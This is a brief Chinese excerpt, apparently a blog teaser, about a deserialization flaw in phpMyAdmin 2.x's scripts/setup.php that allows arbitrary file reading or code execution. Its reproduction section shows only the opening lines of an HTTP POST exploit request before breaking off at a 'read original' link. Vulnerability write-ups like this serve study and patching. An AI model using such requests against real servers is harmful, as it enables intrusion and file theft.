phpMyAdmin 2.x版本任意文件读取

0x01 简介 phpmyadmin scripts/setup.php 页面存在反序列化漏洞（WooYun-2016-199433） phpmyadmin 2.x版本中存在一处反序列化漏洞，通过该漏洞，攻击者可以读取任意文件或执行任意代码。 0x02 漏洞复现 POST /scripts/setup.php HTTP/1.1 Host: ip:8080 User-Agent: Mozilla/5

>>阅读原文<<